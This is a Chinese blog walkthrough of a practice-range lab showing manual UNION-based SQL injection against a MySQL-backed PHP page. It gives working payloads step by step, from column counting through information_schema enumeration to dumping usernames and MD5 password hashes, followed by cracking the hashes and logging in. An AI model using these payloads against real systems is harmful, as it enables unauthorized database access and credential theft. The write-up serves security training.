墨者:SQL手工注入漏洞测试(MySQL数据库)

发布于:2025-07-30 ⋅ 阅读:(12) ⋅ 点赞:(0)

一、SQL手工注入漏洞测试(MySQL数据库)

本文以墨者学院靶场为例,演示MySQL数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.64.48:47777/new_list.php?id=1

二、注入原理与流程(如下指令去掉了id之前的内容

MySQL手工注入主要通过闭合SQL语句、联合查询系统表来获取敏感信息。以下是完整的攻击流程:

1. 判断字段数

id=1 order by 5
  • 作用:确定SELECT查询返回的列数
  • 原理:通过递增order by后的数字,当页面报错时说明超出实际字段数
  • 示例:若order by 4正常但order by 5报错,说明有4个字段

2. 确定回显位置

id=-1 union select 1,2,3,4
  • 关键点
    • id=-1使原查询无结果
    • union select强制返回我们的数据
    • 页面显示的数字即为可回显的列位置
  • 输出:假设页面显示23,则后续注入用这两个位置
    在这里插入图片描述

3. 获取数据库信息

id=-1 union select 1,group_concat(database()),3,4
  • 函数说明
    • database():当前数据库名称
    • group_concat():多行结果合并为字符串
  • 典型返回mozhe_Discuz_StormGroup
    在这里插入图片描述

4. 枚举数据表

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
  • 系统表说明
    • information_schema.tables:存储所有表信息
    • table_schema:过滤指定数据库的表
  • 输出示例StormGroup_member,notice,...
    在这里插入图片描述

5. 获取字段结构

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
  • 系统表说明
    • information_schema.columns:存储列定义信息
    • table_name:指定目标表
  • 返回结果id,name,password,status,...
    在这里插入图片描述

6. 提取账号密码

id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
  • 实战技巧
    • 使用group_concat()合并所有记录
    • ,分隔不同字段(如admin,user1123456,qwerty
  • 数据示例
    用户名:mozhe,admin,...
    密码:5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,...
    

在这里插入图片描述

7. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
在这里插入图片描述

三、关键指令速查表

指令/函数 作用 MySQL特性说明
order by N 判断字段数 报错法最可靠
union select 联合查询 前后列数必须相同
database() 当前数据库名 等价于schema()
group_concat() 行转字符串 默认逗号分隔
information_schema 元数据库 存储所有表/列定义
table_schema 过滤数据库 值需加引号
table_name 过滤表名 区分大小写

网站公告

今日签到

点亮在社区的每一天
去签到